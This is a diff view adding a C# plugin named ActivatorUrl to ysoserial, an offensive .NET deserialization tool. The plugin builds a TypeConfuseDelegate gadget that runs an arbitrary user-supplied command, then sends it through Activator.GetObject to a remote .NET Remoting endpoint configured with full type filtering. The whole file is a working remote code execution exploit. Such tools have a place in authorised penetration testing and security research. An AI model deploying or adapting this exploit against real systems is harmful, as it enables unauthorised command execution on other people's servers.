1
+ using System ;
2
+ using System . Collections . Generic ;
3
+ using System . Runtime . Remoting . Channels ;
4
+ using System . Runtime . Remoting . Channels . Tcp ;
5
+ using NDesk . Options ;
6
+ using ysoserial . Generators ;
7
+
8
+ namespace ysoserial . Plugins
9
+ {
10
+ // Author: Harrison Neal
11
+ // Inspired by targets with BinaryServerFormatterSink.typeFilterLevel = Full
12
+ internal class ActivatorUrlPlugin : Plugin
13
+ {
14
+ private static string command = "" ;
15
+ private static string url = "" ;
16
+ private static bool secure ;
17
+
18
+ private static readonly OptionSet options = new OptionSet
19
+ {
20
+ { "c|command=" , "the command to be executed." , v => command = v } ,
21
+ { "u|url=" , "the url passed to Activator.GetObject." , v => url = v } ,
22
+ {
23
+ "s" , "if TCPChannel security should be enabled." , v =>
24
+ {
25
+ if ( v != null ) secure = true ;
26
+ }
27
+ }
28
+ } ;
29
+
30
+ public string Name ( )
31
+ {
32
+ return "ActivatorUrl" ;
33
+ }
34
+
35
+ public string Description ( )
36
+ {
37
+ return "Sends a generated payload to an activated, presumably remote, object" ;
38
+ }
39
+
40
+ public OptionSet Options ( )
41
+ {
42
+ return options ;
43
+ }
44
+
45
+ public object Run ( string [ ] args )
46
+ {
47
+ List < string > extra ;
48
+ try
49
+ {
50
+ extra = options . Parse ( args ) ;
51
+
52
+ if ( string . IsNullOrWhiteSpace ( url ) ) throw new ArgumentException ( "A URL must be provided." ) ;
53
+
54
+ if ( string . IsNullOrWhiteSpace ( command ) ) throw new ArgumentException ( "A command must be provided." ) ;
55
+ }
56
+ catch ( Exception e )
57
+ {
58
+ Console . Write ( "ysoserial: " ) ;
59
+ Console . WriteLine ( e . Message ) ;
60
+ Console . WriteLine ( "Try 'ysoserial -p " + Name ( ) + " --help' for more information." ) ;
61
+ Environment . Exit ( - 1 ) ;
62
+ }
63
+
64
+ try
65
+ {
66
+ if ( secure ) ChannelServices . RegisterChannel ( new TcpChannel ( ) , true ) ;
67
+
68
+ Activator . GetObject ( typeof ( MarshalByRefObject ) , url )
69
+ . Equals ( new TypeConfuseDelegateGenerator ( ) . TypeConfuseDelegateGadget ( command ) ) ;
70
+ }
71
+ catch ( Exception e )
72
+ {
73
+ Console . WriteLine ( e . ToString ( ) ) ;
74
+ Console . WriteLine ( ) ;
75
+ }
76
+
77
+ return "Payload already sent" ;
78
+ }
79
+ }
80
+ }
0 commit comments